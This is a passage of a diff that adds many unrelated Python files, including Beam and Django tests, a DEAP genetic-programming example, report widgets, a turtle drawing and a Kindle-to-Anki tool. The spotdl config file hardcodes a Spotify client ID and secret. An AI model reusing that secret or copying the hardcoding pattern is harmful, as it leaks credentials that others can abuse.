datetime.now().strftime("%m%d%H%M%S") + seed = random.randint(0, 100000) + kind = 'testkind%s%d' % (current_time, seed) + pipeline_verifiers = [PipelineStateMatcher()] + extra_opts = {'kind': kind, + 'num_entities': self.NUM_ENTITIES, + 'on_success_matcher': all_of(*pipeline_verifiers)} + if limit is not None: + extra_opts['limit'] = limit + + datastore_write_it_pipeline.run(test_pipeline.get_full_options_as_args( + **extra_opts)) + + @attr('IT') + @unittest.skipIf(datastore_write_it_pipeline is None, + 'GCP dependencies are not installed') + def test_datastore_write_limit(self): + self.run_datastore_write(limit=self.LIMIT) + + +if __name__ == '__main__': + logging.getLogger().setLevel(logging.INFO) + unittest.main() diff --git a/pool/shard009/Python/0082585_test_helpers.py b/pool/shard009/Python/0082585_test_helpers.py new file mode 100644 index 0000000000000000000000000000000000000000..89fe6fb74a4cb74569c003916043bc29118b6a9e --- /dev/null +++ b/pool/shard009/Python/0082585_test_helpers.py @@ -0,0 +1,46 @@ +from unittest import TestCase +from pylons import request +from datetime import date +from bluechips.lib import helpers as h + +class TestHelpers(TestCase): + def test_grab_real_object(self): + class Foo(object): + pass + foo = Foo() + foo.bar = 'some string' + assert h.grab(foo, 'bar') == 'some string' + try: + h.grab(foo, 'baz') + except AttributeError: + pass + else: + raise AssertionError + + def test_grab_any_fake(self): + assert h.grab(None, 'nonexistent') == '' + assert h.grab('', 'nonexistent') == '' + + def test_grab_date(self): + assert h.grab(None, 'date') == date.today() + + def test_grab_user(self): + class FakeRequest(object): + pass + class FakeUser(object): + pass + class SomeObject(object): + pass + req = FakeRequest() + req.environ = {} + req.environ['user'] = FakeUser() + test_obj = SomeObject() + req.environ['user'].id = test_obj + request._push_object(req) + assert h.grab(None, 'spender_id') == test_obj + assert h.grab(None, 'creditor_id') == test_obj + assert h.grab(None, 'debtor_id') == test_obj + request._pop_object() + + def test_grab_amount(self): + assert h.grab(None, 'amount') == 0 diff --git a/pool/shard009/Python/0082586_adf_symbreg.py b/pool/shard009/Python/0082586_adf_symbreg.py new file mode 100644 index 0000000000000000000000000000000000000000..ba0e79a3acbe1352a2d4c112eed65d2636387bcb --- /dev/null +++ b/pool/shard009/Python/0082586_adf_symbreg.py @@ -0,0 +1,182 @@ +# This file is part of DEAP. +# +# DEAP is free software: you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License as +# published by the Free Software Foundation, either version 3 of +# the License, or (at your option) any later version. +# +# DEAP is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with DEAP. If not, see . + +import random +import operator +import math + +import numpy + +from deap import base +from deap import creator +from deap import gp +from deap import tools + +# Define new functions +def safeDiv(left, right): + try: + return left / right + except ZeroDivisionError: + return 0 + +adfset2 = gp.PrimitiveSet("ADF2", 2) +adfset2.addPrimitive(operator.add, 2) +adfset2.addPrimitive(operator.sub, 2) +adfset2.addPrimitive(operator.mul, 2) +adfset2.addPrimitive(safeDiv, 2) +adfset2.addPrimitive(operator.neg, 1) +adfset2.addPrimitive(math.cos, 1) +adfset2.addPrimitive(math.sin, 1) + +adfset1 = gp.PrimitiveSet("ADF1", 2) +adfset1.addPrimitive(operator.add, 2) +adfset1.addPrimitive(operator.sub, 2) +adfset1.addPrimitive(operator.mul, 2) +adfset1.addPrimitive(safeDiv, 2) +adfset1.addPrimitive(operator.neg, 1) +adfset1.addPrimitive(math.cos, 1) +adfset1.addPrimitive(math.sin, 1) +adfset1.addADF(adfset2) + +adfset0 = gp.PrimitiveSet("ADF0", 2) +adfset0.addPrimitive(operator.add, 2) +adfset0.addPrimitive(operator.sub, 2) +adfset0.addPrimitive(operator.mul, 2) +adfset0.addPrimitive(safeDiv, 2) +adfset0.addPrimitive(operator.neg, 1) +adfset0.addPrimitive(math.cos, 1) +adfset0.addPrimitive(math.sin, 1) +adfset0.addADF(adfset1) +adfset0.addADF(adfset2) + +pset = gp.PrimitiveSet("MAIN", 1) +pset.addPrimitive(operator.add, 2) +pset.addPrimitive(operator.sub, 2) +pset.addPrimitive(operator.mul, 2) +pset.addPrimitive(safeDiv, 2) +pset.addPrimitive(operator.neg, 1) +pset.addPrimitive(math.cos, 1) +pset.addPrimitive(math.sin, 1) +pset.addEphemeralConstant("rand101", lambda: random.randint(-1, 1)) +pset.addADF(adfset0) +pset.addADF(adfset1) +pset.addADF(adfset2) +pset.renameArguments(ARG0='x') + +psets = (pset, adfset0, adfset1, adfset2) + +creator.create("FitnessMin", base.Fitness, weights=(-1.0,)) +creator.create("Tree", gp.PrimitiveTree) + +creator.create("Individual", list, fitness=creator.FitnessMin) + +toolbox = base.Toolbox() +toolbox.register('adf_expr0', gp.genFull, pset=adfset0, min_=1, max_=2) +toolbox.register('adf_expr1', gp.genFull, pset=adfset1, min_=1, max_=2) +toolbox.register('adf_expr2', gp.genFull, pset=adfset2, min_=1, max_=2) +toolbox.register('main_expr', gp.genHalfAndHalf, pset=pset, min_=1, max_=2) + +toolbox.register('ADF0', tools.initIterate, creator.Tree, toolbox.adf_expr0) +toolbox.register('ADF1', tools.initIterate, creator.Tree, toolbox.adf_expr1) +toolbox.register('ADF2', tools.initIterate, creator.Tree, toolbox.adf_expr2) +toolbox.register('MAIN', tools.initIterate, creator.Tree, toolbox.main_expr) + +func_cycle = [toolbox.MAIN, toolbox.ADF0, toolbox.ADF1, toolbox.ADF2] + +toolbox.register('individual', tools.initCycle, creator.Individual, func_cycle) +toolbox.register('population', tools.initRepeat, list, toolbox.individual) + +def evalSymbReg(individual): + # Transform the tree expression in a callable function + func = toolbox.compile(individual) + # Evaluate the sum of squared difference between the expression + # and the real function : x**4 + x**3 + x**2 + x + values = (x/10. for x in range(-10, 10)) + diff_func = lambda x: (func(x)-(x**4 + x**3 + x**2 + x))**2 + diff = sum(map(diff_func, values)) + return diff, + +toolbox.register('compile', gp.compileADF, psets=psets) +toolbox.register('evaluate', evalSymbReg) +toolbox.register('select', tools.selTournament, tournsize=3) +toolbox.register('mate', gp.cxOnePoint) +toolbox.register('expr', gp.genFull, min_=1, max_=2) +toolbox.register('mutate', gp.mutUniform, expr=toolbox.expr) + +def main(): + random.seed(1024) + ind = toolbox.individual() + + pop = toolbox.population(n=100) + hof = tools.HallOfFame(1) + stats = tools.Statistics(lambda ind: ind.fitness.values) + stats.register("avg", numpy.mean) + stats.register("std", numpy.std) + stats.register("min", numpy.min) + stats.register("max", numpy.max) + + logbook = tools.Logbook() + logbook.header = "gen", "evals", "std", "min", "avg", "max" + + CXPB, MUTPB, NGEN = 0.5, 0.2, 40 + + # Evaluate the entire population + for ind in pop: + ind.fitness.values = toolbox.evaluate(ind) + + hof.update(pop) + record = stats.compile(pop) + logbook.record(gen=0, evals=len(pop), **record) + print(logbook.stream) + + for g in range(1, NGEN): + # Select the offspring + offspring = toolbox.select(pop, len(pop)) + # Clone the offspring + offspring = [toolbox.clone(ind) for ind in offspring] + + # Apply crossover and mutation + for ind1, ind2 in zip(offspring[::2], offspring[1::2]): + for tree1, tree2 in zip(ind1, ind2): + if random.random() < CXPB: + toolbox.mate(tree1, tree2) + del ind1.fitness.values + del ind2.fitness.values + + for ind in offspring: + for tree, pset in zip(ind, psets): + if random.random() < MUTPB: + toolbox.mutate(individual=tree, pset=pset) + del ind.fitness.values + + # Evaluate the individuals with an invalid fitness + invalids = [ind for ind in offspring if not ind.fitness.valid] + for ind in invalids: + ind.fitness.values = toolbox.evaluate(ind) + + # Replacement of the population by the offspring + pop = offspring + hof.update(pop) + record = stats.compile(pop) + logbook.record(gen=g, evals=len(invalids), **record) + print(logbook.stream) + + print('Best individual : ', hof[0][0], hof[0].fitness) + + return pop, stats, hof + +if __name__ == "__main__": + main() + diff --git a/pool/shard009/Python/0082589_config.py b/pool/shard009/Python/0082589_config.py new file mode 100644 index 0000000000000000000000000000000000000000..727584caffb4f66b05f4c1cea7dd6018861c4126 --- /dev/null +++ b/pool/shard009/Python/0082589_config.py @@ -0,0 +1,52 @@ +import appdirs +import yaml +import os + +import spotdl.util +import logging +logger = logging.getLogger(__name__) + +DEFAULT_CONFIGURATION = { + "spotify-downloader": { + "manual": False, + "no_metadata": False, + "no_encode": False, + "overwrite": "prompt", + "quality": "best", + "input_ext": "automatic", + "output_ext": "mp3", + "write_to": None, + "trim_silence": False, + "search_format": "{artist} - {track-name} lyrics", + "dry_run": False, + "no_spaces": False, + # "processor": "synchronous", + "output_file": "{artist} - {track-name}.{output-ext}", + "skip_file": None, + "write_successful_file": None, + "spotify_client_id": "4fe3fecfe5334023a1472516cc99d805", + "spotify_client_secret": "0f02b7c483c04257984695007a4a8d5c", + "log_level": "INFO", + } +} + +DEFAULT_CONFIG_FILE = os.path.join( + appdirs.user_config_dir(), + "spotdl", + "config.yml" +) + +def read_config(config_file): + with open(config_file, "r") as ymlfile: + config = yaml.safe_load(ymlfile) + return config + + +def dump_config(config_file=None, config=DEFAULT_CONFIGURATION): + if config_file is None: + config = yaml.dump(config, default_flow_style=False) + return config + + with open(config_file, "w") as ymlfile: + yaml.dump(config, ymlfile, default_flow_style=False) + diff --git a/pool/shard009/Python/0082594_setup.py b/pool/shard009/Python/0082594_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..1b63efb23a313f1ad95bc7dc1ac3b6d48621081a --- /dev/null +++ b/pool/shard009/Python/0082594_setup.py @@ -0,0 +1,58 @@ +import os + +from setuptools import find_packages, setup + + +def long_desc(root_path): + FILES = ['README.rst'] + for filename in FILES: + filepath = os.path.realpath(os.path.join(root_path, filename)) + if os.path.isfile(filepath): + with open(filepath, mode='r') as f: + yield f.read() + + +HERE = os.path.abspath(os.path.dirname(__file__)) +long_description = "\n\n".join(long_desc(HERE)) + + +def get_version(root_path): + with open(os.path.join(root_path, 'lbattachment', '__init__.py')) as f: + for line in f: + if line.startswith('__version__ ='): + return line.split('=')[1].strip().strip('"\'') + + +setup( + name='django-lbattachment', + version=get_version(HERE), + description='A Django APP used to manager attachment', + long_description=long_description, + author='vicalloy', + author_email='zbirder@gmail.com', + url='https://github.com/vicalloy/django-lbattachment', + packages=find_packages(), + install_requires=['Django>=2.2.0', 'django-lbutils>=1.1.0'], + classifiers=[ + 'Development Status :: 5 - Production/Stable', + 'Environment :: Web Environment', + 'Intended Audience :: Developers', + 'License :: OSI Approved :: MIT License', + 'Operating System :: OS Independent', + 'Programming Language :: Python', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.2', + 'Programming Language :: Python :: 3.3', + 'Programming Language :: Python :: 3.4', + 'Framework :: Django', + ], + zip_safe=False, + tests_require=["Django>=2.2.0", 'django-lbutils>=1.1.0'], + test_suite='runtests.runtests', + package_data={ + 'lbattachment': [ + 'locale/*/LC_MESSAGES/django.po', 'locale/*/LC_MESSAGES/django.mo' + ], + }, +) diff --git a/pool/shard009/Python/0082596_widgets.py b/pool/shard009/Python/0082596_widgets.py new file mode 100644 index 0000000000000000000000000000000000000000..9267401e5999ea961a393c658d3e16d0261cc124 --- /dev/null +++ b/pool/shard009/Python/0082596_widgets.py @@ -0,0 +1,193 @@ +import datetime, types +from sets import Set + +from reportlab.lib.units import cm +from reportlab.lib.colors import black + +from base import BAND_WIDTH, BAND_HEIGHT, Element + +class Widget(Element): + """A widget is a value representation on the report""" + _height = 0.5*cm + _width = 5*cm + left = 0 + top = 0 + visible = True + style = {} + + get_value = None # A lambda function to get customized values + + instance = None + report = None + generator = None + band = None + + def __init__(self, **kwargs): + """This initializer is prepared to set arguments informed as attribute + values.""" + for k,v in kwargs.items(): + setattr(self, k, v) + +class Label(Widget): + """A label is just a simple text. + + 'get_value' lambda must have 'text' argument.""" + _text = '' + + def _get_text(self): + if self.get_value: + return self.get_value(text) + + return self._text + + def _set_text(self, value): + self._text = value + + text = property(_get_text, _set_text) + +FIELD_ACTION_VALUE = 'value' +FIELD_ACTION_COUNT = 'count' +FIELD_ACTION_AVG = 'avg' +FIELD_ACTION_MIN = 'min' +FIELD_ACTION_MAX = 'max' +FIELD_ACTION_SUM = 'sum' +FIELD_ACTION_DISTINCT_COUNT = 'distinct_count' +FIELD_ACTION_CHOICES = { + FIELD_ACTION_VALUE: 'Value', + FIELD_ACTION_COUNT: 'Count', + FIELD_ACTION_AVG: 'Avg', + FIELD_ACTION_MIN: 'Min', + FIELD_ACTION_MAX: 'Max', + FIELD_ACTION_SUM: 'Sum', + FIELD_ACTION_DISTINCT_COUNT: 'Distinct count', +} + +class ObjectValue(Label): + """This shows the value from a method, field or property from objects got + from the queryset. + + You can inform an action to show the object value or an aggregation + function on it. + + You can also use 'display_format' attribute to set a friendly string + formating, with a mask or additional text. + + 'get_value' lambda must have 'instance' argument.""" + attribute_name = None + action = FIELD_ACTION_VALUE + display_format = '%s' + objects = None + + def get_object_value(self, instance=None): + """Return the attribute value for just an object""" + instance = instance or self.instance + + if self.get_value and instance: + return self.get_value(instance) + + value = getattr(instance, self.attribute_name) + + # For method attributes + if type(value) == types.MethodType: + value = value() + + return value + + def get_queryset_values(self): + """Uses the method 'get_object_value' to get the attribute value from + all objects in the objects list, as a list""" + return [self.get_object_value(instance) for instance in + self.generator.get_objects_in_group()] + + def action_value(self): + return self.get_object_value() + + def action_count(self): + values = self.get_queryset_values() + return len([value for value in values if value]) + + def action_avg(self): + values = self.get_queryset_values() + return sum(values) / len(values) + + def action_min(self): + values = self.get_queryset_values() + return min(values) + + def action_max(self): + values = self.get_queryset_values() + return max(values) + + def action_sum(self): + values = self.get_queryset_values() + return sum(values) + + def action_distinct_count(self): + values = Set(self.get_queryset_values()) + return len(values) + + @property + def text(self): + text = unicode(getattr(self, 'action_'+self.action)()) + return self.display_format%text + +SYSTEM_FIELD_CHOICES = { + 'report_title': 'ReportTitle', + 'page_number': 'PageNumber', + 'page_count': 'PageCount', + 'current_datetime': 'CurrentDateTime', + 'report_author': 'Author', +} + +class SystemField(Label): + """This shows system informations, like the report title, current date/time, + page number, pages count, etc. + + 'get_value' lambda must have 'expression' and 'fields' argument.""" + expression = '%(report_title)s' + + fields = { + 'report_title': None, + 'page_number': None, + 'page_count': None, + 'current_datetime': None, + 'report_author': None, + } + + def __init__(self, **kwargs): + super(SystemField, self).__init__(**kwargs) + + self.fields['current_datetime'] = datetime.datetime.now() + + @property + def text(self): + fields = { + 'report_title': self.fields.get('report_title') or self.report.title, + 'page_number': self.fields.get('page_number') or self.generator._current_page_number + 1, + 'page_count': self.fields.get('page_count') or self.generator.get_page_count(), + 'current_datetime': self.fields.get('current_datetime') or datetime.datetime.now(), + 'report_author': self.fields.get('report_author') or self.report.author, + } + + if self.get_value: + return self.get_value(self.expression, fields) + + return self.expression%SystemFieldDict(self, fields) + +class SystemFieldDict(dict): + widget = None + fields = None + + def __init__(self, widget, fields): + self.widget = widget + self.fields = fields or {} + + def __getitem__(self, key): + if key.startswith('now:'): + return self.widget.report.format_date( + self.fields.get('current_datetime', datetime.datetime.now()), + key[4:] + ) + + return self.fields[key] + diff --git a/pool/shard009/Python/0082603_mod3.py b/pool/shard009/Python/0082603_mod3.py new file mode 100644 index 0000000000000000000000000000000000000000..f231b5aa6c15a8fcc39d47f36b7fceb408885c98 --- /dev/null +++ b/pool/shard009/Python/0082603_mod3.py @@ -0,0 +1,56 @@ +import turtle + +def main(): + window = turtle.Screen() + window.setup(1365,720) + window.bgcolor('black') + a = turtle.Turtle() + b = turtle.Turtle() + c = turtle.Turtle() + d = turtle.Turtle() + e = turtle.Turtle() + turtles = [a,b,c,d,e] + for T in turtles: + T.tracer(0,0) + T.ht() + T.speed(0) + T.goto(-5,0) + + a.bk(480) + b.bk(270) + + d.fd(270) + e.fd(480) + + Aturtles = [a,c,e] + Bturtles = [b,d] + + rainbow = ['green','blue','indigo','violet','red','orange','yellow'] + + for deg in range(1,362): + for T in turtles: + for side in range(6): + T.pendown() + if side < ( 3 if (deg > 355) else 2 ): T.penup() + elif side in (2,3): + T.pencolor(rainbow[((deg / 51) % 7 - 1) % 7]) + elif side == 4: + if deg % 2 == 0: + T.pencolor('gray') + else: T.pencolor('LightSteelBlue') + else: T.pencolor( rainbow[(deg / 51) % 7] ) + + if T in Aturtles: + if T == c: + T.fd(30) + T.fd(70) + if T in Bturtles: T.fd(30) + T.left(60) + T.left(1) + if deg % 8 == 0: + turtle.update() + + + window.exitonclick() + +main() \ No newline at end of file diff --git a/pool/shard009/Python/0082604_Template_testing.py b/pool/shard009/Python/0082604_Template_testing.py new file mode 100644 index 0000000000000000000000000000000000000000..d3e50ba88c13d51d82ea61a9d8b497e48b3bf9fe --- /dev/null +++ b/pool/shard009/Python/0082604_Template_testing.py @@ -0,0 +1,67 @@ +"""This is a testing module +""" + +#=============================================================================== +# Set up +#=============================================================================== +# Standard: + +from config import * + +import logging.config +import unittest + + +from utility_inspect import get_self +from utilities_xml import get_table_all_names, print_table +from idf_parser import IDF +import os.path as path + +#=============================================================================== +# Logging +#=============================================================================== +print(ABSOLUTE_LOGGING_PATH) +logging.config.fileConfig(ABSOLUTE_LOGGING_PATH) +myLogger = logging.getLogger() +myLogger.setLevel("DEBUG") + + +if __name__ == '__main__' and __package__ is None: + from os import sys, path + this_path = path.dirname(path.dirname(path.abspath(__file__))) + sys.path.append(this_path) + logging.debug("ADDED TO PATH: ".format(this_path)) + +import unittest + +# Logging +import logging +logging.basicConfig(format='%(funcName)-20s %(levelno)-3s: %(message)s', level=logging.DEBUG, datefmt='%I:%M:%S') +my_logger = logging.getLogger() +my_logger.setLevel("DEBUG") + +if __name__ == '__main__' and __package__ is None: + from os import sys, path + this_path = path.dirname(path.dirname(path.abspath(__file__))) + sys.path.append(this_path) + logging.debug("ADDED TO PATH: ".format(this_path)) + + + +# External +#import xxx + +# Own +from ExergyUtilities.utility_inspect import get_self, get_parent + +#=============================================================================== +# Testing +#=============================================================================== +class allTests(unittest.TestCase): + + def setUp(self): + print("**** TEST {} ****".format(get_self())) + self.curr_dir = os.path.dirname(os.path.realpath(__file__)) + + def test010_empty(self): + print("**** TEST {} ****".format(get_self())) diff --git a/pool/shard009/Python/0082611_admin.py b/pool/shard009/Python/0082611_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..9e566d66224cb58271f57bdb5953f13c01ca5f4a --- /dev/null +++ b/pool/shard009/Python/0082611_admin.py @@ -0,0 +1,184 @@ +# encoding: utf-8 + +from django.contrib import admin +from matricula.models import Student, Course, Group, Enroll, Period, Category, \ + MenuItem, Page, MultilingualContent, MenuTranslations +from django.utils.translation import ugettext_lazy as _ +from django.conf.urls import url +from django.core.urlresolvers import reverse +from django.utils.html import format_html +from matricula.admins import BaseGroup +from django_ajax.decorators import ajax + +from django.contrib.admin import AdminSite +from django.contrib.auth.admin import UserAdmin +from matricula.forms import MenuItemFormPage + +# Register your models here. + + +class EnrollAdmin(admin.ModelAdmin): + fieldsets = ( + (None, { + 'fields': (('enroll_finished', 'enroll_activate'), 'group', 'student', 'bill_created') + }),) + + list_display = ('student', 'group', 'enroll_finished', 'enroll_activate') + list_filter = ('enroll_activate', 'enroll_finished', 'group') + list_editable = ('enroll_activate', 'enroll_finished') + actions = ['set_enroll_finished_true', 'set_enroll_activate_true'] + # 'enroll_date' + + def set_enroll_activate_true(self, request, queryset): + queryset.update(enroll_activate=True) + set_enroll_activate_true.short_description = _("Active user for enrollment") + + def set_enroll_finished_true(self, request, queryset): + queryset.update(enroll_finished=True) + set_enroll_finished_true.short_description = _("Active user for pre-enrollment") + + +class GroupAdmin(admin.ModelAdmin, BaseGroup): + fieldsets = ( + (None, {'classes': ('wide', 'extrapretty'), + 'fields': (('period', 'course', 'student_list_ref'), + 'name', 'maximum', + ('cost', 'currency'), 'schedule', + 'flow', + ('pre_enroll_start', 'pre_enroll_finish'), + ('enroll_start' , 'enroll_finish')) + }), + ) + list_display = ('name', 'course', 'period', 'maximum', + 'pre_enroll_start', 'pre_enroll_finish', 'count_student_preenroll', + 'count_student_enroll', 'payments') + + list_filter = ('period',) + ordering = ('pre_enroll_start',) + actions = ['action_copy_last_period', 'action_open_group'] + search_fields = ('course__name',) + readonly_fields = ('student_list_ref',) + + def student_list_ref(self, obj=None): + if obj.pk is None: + return _("Student list don't exist yet") + + return format_html(' List of students', + reverse('admin:student_list', kwargs={'pk': obj.pk}) + ) + + student_list_ref.short_description = _("List students") + + def count_student_preenroll(self, obj): + # return obj.enroll_set.filter(enroll_finished=False).count() + return format_html('{}', + reverse('admin:student_list', kwargs={'pk': obj.pk}), + obj.enroll_set.count() + ) + count_student_preenroll.short_description = _("# student pre-enroll") + + def count_student_enroll(self, obj): + return format_html('{}', + reverse('admin:student_list', kwargs={'pk': obj.pk}), + obj.enroll_set.filter(enroll_finished=True).count() + ) + + count_student_enroll.allow_tags = True + count_student_enroll.short_description = _("# student enroll") + + def payments(self, obj): + return obj.cost * obj.enroll_set.filter(enroll_finished=True).count() + payments.short_description = _("Total cash") + + def get_urls(self): + urls = super(GroupAdmin, self).get_urls() + my_urls = [ + url(r'^student_list/(?P\d+)$', self.admin_site.admin_view(self.student_list), + name="student_list"), + url(r'^open_group/(?P\d+)$', self.admin_site.admin_view(ajax(self.open_group)), + name="open_group"), + url(r'^close_group/(?P\d+)$', self.admin_site.admin_view(ajax(self.close_group)), + name="close_group"), + url(r'^export_pdf/(?P\d+)$', self.admin_site.admin_view(self.export_pdf), + name="export_pdf"), + + ] + + return my_urls + urls + + + +class MyUserAdmin(UserAdmin): + def get_fieldsets(self, request, obj=None): + if not obj: + return self.add_fieldsets + + if request.user.is_superuser: + perm_fields = ('is_active', 'is_staff', 'is_superuser', + 'groups', 'user_permissions') + else: + # modify these to suit the fields you want your + # staff user to be able to edit + perm_fields = ('is_active', 'is_staff') + + return [(None, {'fields': ('username', 'password')}), + (_('Personal info'), {'fields': ('first_name', 'last_name', 'email')}), + (_('Permissions'), {'fields': perm_fields}), + (_('Important dates'), {'fields': ('last_login', 'date_joined')})] + + +class MenuInline(admin.StackedInline): + model = MenuTranslations + extra = 1 + + +class MenuItemAdmin(admin.ModelAdmin): + obj = None + inlines = [MenuInline] + + def get_form(self, request, obj=None, **kwargs): + self.obj = obj + if obj is None or obj.type == 1: + kwargs['form'] = MenuItemFormPage + return super(MenuItemAdmin, self).get_form(request, obj, **kwargs) + + def get_changeform_initial_data(self, request): + dev = {"type": 1} + return dev + + +class PageInline(admin.TabularInline): + model = MultilingualContent + extra = 1 + + +class PageAdmin(admin.ModelAdmin): + inlines = [PageInline] + +class MenuAdmin(admin.ModelAdmin): + inlines = [MenuInline] + +admin.site.register(Student, MyUserAdmin) +admin.site.register(Course) +admin.site.register(Group, GroupAdmin) +admin.site.register(Enroll, EnrollAdmin) +admin.site.register(Period) +admin.site.register(Category) +admin.site.register(MenuItem, MenuAdmin) +admin.site.register(Page, PageAdmin) + +admin.site.site_header = _("Academica administrator site") + + +admin_site = AdminSite(name='matricula_admin') +admin_site.site_header = _("Academica administrator site") + + +admin_site.register(Student, MyUserAdmin) +admin_site.register(Course) +admin_site.register(Group, GroupAdmin) +admin_site.register(Enroll, EnrollAdmin) +admin_site.register(Period) +admin_site.register(Category) +admin_site.register(MenuItem, MenuItemAdmin) +admin_site.register(Page, PageAdmin) diff --git a/pool/shard009/Python/0082612_ankimaker_v1.0.py b/pool/shard009/Python/0082612_ankimaker_v1.0.py new file mode 100644 index 0000000000000000000000000000000000000000..090f99956718d809d6847a997e68c233dedf83cb --- /dev/null +++ b/pool/shard009/Python/0082612_ankimaker_v1.0.py @@ -0,0 +1,149 @@ +import sqlite3 +import genanki +import requests +from tkinter import ttk + +lang_names = {'en': 'English'} + +class MainFrame(ttk.Frame): + def __init__(self, parent, *args, **kwargs): + ttk.Frame.__init__(self, parent, *args, **kwargs) + self.root = parent + self.init_gui() + + def init_gui(self): + """Builds GUI.""" + self.root.title('Kindle to Anki') + + self.grid(column=0, row=0, sticky='nsew') + + # Load vocabulary file + + ttk.Label(self, text='Vocabulary file').grid(column=0, row=0) + + self.db_entry = ttk.Entry(self, width=30) + self.db_entry.grid(column=1, row = 0) + + self.loaddb_button = ttk.Button(self, text='Load', + command=self.load_words) + self.loaddb_button.grid(column=2, row=0) + + # Choose language + +# ttk.Label(self, text='Language').grid(column=0, row=1) +# self.lang_entry = ttk.Combobox(self, width=15) +# self.lang_entry.grid(column=1, row = 1) +# self.lang_entry['values'] = ('en') +# self.lang_entry.state(['readonly']) + + # Load from OED + + ttk.Label(self, text='App id').grid(column=0, row=2) + self.appid_entry = ttk.Entry(self, width=30) + self.appid_entry.grid(column=1, row = 2) + + ttk.Label(self, text='App key').grid(column=0, row=3) + self.keyid_entry = ttk.Entry(self, width=30) + self.keyid_entry.grid(column=1, row = 3) + + self.loadOED_button = ttk.Button(self, text='Load definitions from OED', + command=self.load_OED) + self.loadOED_button.grid(column=2, row=2, columnspan = 2, rowspan = 2) + self.loadOED_button.state(['disabled']) + + # Create vocabulary file + + ttk.Label(self, text='Anki deck location:').grid(column=0, row=4) + + self.deck_entry = ttk.Entry(self, width=30) + self.deck_entry.grid(column=1, row = 4) + + self.create_button = ttk.Button(self, text='Create Anki Deck', + command=self.create_deck) + self.create_button.grid(column=2, row=4) + self.create_button.state(['disabled']) + + + for child in self.winfo_children(): + child.grid_configure(padx=5, pady=5) + + def load_words(self): + dbfile = self.db_entry.get() + lang = 'en' + self.words = load_words(dbfile, lang) + if self.words.keys(): + self.loadOED_button.state(['!disabled']) + self.create_button.state(['!disabled']) + + + def load_OED(self): + lang = 'en' + app_id = self.appid_entry.get() + app_key = self.keyid_entry.get() + load_ODE(self.words, lang, app_id, app_key) + + def create_deck(self): + deckfile = self.deck_entry.get() + lang = 'en' + create_deck(self.words, lang, deckfile) + + +def load_words(dbfile, lang): + vocab = sqlite3.connect(dbfile) + q = '''select WORDS.stem, LOOKUPS.usage, WORDS.timestamp from WORDS + inner join LOOKUPS on WORDS.id=LOOKUPS.word_key + where WORDS.lang=\'{}\''''.format(lang) + cursor = vocab.execute(q) + + words = {} + for w in cursor: + stem = w[0] + usage = w[1] + timestamp = w[2] + if stem not in words.keys(): + words[stem] = {'usage':usage} + return words + +def load_ODE(words, lang, app_id, app_key): + headers = {'app_id': app_id, 'app_key': app_key} + url = 'https://od-api.oxforddictionaries.com:443/api/v1/entries/' + for w in words: + stem = w.lower() + r = requests.get(url + lang + '/' + stem, headers=headers) + entries = r.json()['results'][0]['lexicalEntries'][0]['entries'] + words[w]['definition'] = entries[0]['senses'][0]['definitions'][0] + return words + +def create_deck(words, lang, deckfile): + name = "Kindle " + lang_names[lang] + " words" + deck = genanki.Deck(2059400110, name) + model = genanki.Model( + 1607392319, + 'Word', + fields=[ + {'name': 'Question'}, + {'name': 'Answer'}, + {'name': 'Usage'} + ], + templates=[ + { + 'name': 'Card 1', + 'qfmt': '{{Question}}', + 'afmt': '{{FrontSide}}: {{Answer}}
{{Usage}}' + }] + ) + + for w in words: + note = genanki.Note( + model=model, + fields=[w, words[w]['definition'], words[w]['usage']] + ) + deck.add_note(note) + + genanki.Package(deck).write_to_file(deckfile) + + +if __name__ == '__main__': + root = tkinter.Tk() + MainFrame(root) + root.mainloop() \ No newline at end of file diff --git a/pool/shard009/Python/0082620_LUIFrame.py b/pool/shard009/Python/0082620_LUIFrame.py new file mode 100644 index 0000000000000000000000000000000000000000..4408b5c7704303ab6ed3a3e555c554d8bdca73ac --- /dev/null +++ b/pool/shard009/Python/0082620_LUIFrame.py @@ -0,0 +1,66 @@ + +from __future__ import print_function + +from LUIObject import LUIObject +from LUISprite import LUISprite +from LUILayouts import LUICornerLayout +from LUIInitialState import LUIInitialState +from LUIScrollableRegion import LUIScrollableRegion + +__all__ = ["LUIFrame"] + + +class LUIFrame(LUIObject): + + """ A container which can store multiple ui-elements. If you don't want a + border/background, you should use an empty LUIObject as container instead. + """ + + FS_sunken = 1 + FS_raised = 2 + + def __init__(self, inner_padding=5, scrollable=False, style=FS_raised, + **kwargs): + """ Creates a new frame with the given options and style. If scrollable + is True, the contents of the frame will scroll if they don't fit into + the frame height. inner_padding only has effect if scrollable is True. + You can call fit_to_children() to make the frame fit automatically to + it's contents.""" + LUIObject.__init__(self) + + # Each *style* has a different border size (size of the shadow). The + # border size shouldn't get calculated to the actual framesize, so we + # are determining it first and then substracting it. + # TODO: We could do this automatically, determined by the sprite size + # probably? + self._border_size = 0 + self.padding = 10 + self.solid = True + prefix = "" + + if style == LUIFrame.FS_raised: + temp = LUISprite(self, "Frame_Left", "skin") + self._border_size = temp.width + self.remove_child(temp) + prefix = "Frame_" + elif style == LUIFrame.FS_sunken: + self._border_size = 0 + prefix = "SunkenFrame_" + else: + raise Exception("Unkown LUIFrame style: " + style) + + self._scrollable = scrollable + self._layout = LUICornerLayout(parent=self, image_prefix=prefix) + self._layout.margin = -(self.padding.top + self._border_size) + if self._scrollable: + self._content = LUIObject(self) + self._content.size = (self.width, self.height) + self._content.pos = (self._border_size, self._border_size) + self._scroll_content = LUIScrollableRegion( + self._content, + width=self.width - 2 * self.padding.left, + height=self.height - 2 * self.padding.left, + padding=inner_padding) + self.content_node = self._scroll_content.content_node + + LUIInitialState.init(self, kwargs) diff --git a/pool/shard009/Python/0082621_intel_repo_test.py b/pool/shard009/Python/0082621_intel_repo_test.py new file mode 100644 index 0000000000000000000000000000000000000000..911e4bc8f072989611a3b54c75496e33bae7c64d --- /dev/null +++ b/pool/shard009/Python/0082621_intel_repo_test.py @@ -0,0 +1,55 @@ +"""Tests for Intel Repo package.""" + +import unittest +from absl.testing import flagsaver +import mock +from perfkitbenchmarker import errors +from perfkitbenchmarker.linux_packages import intel_repo +from tests import pkb_common_test_case + + 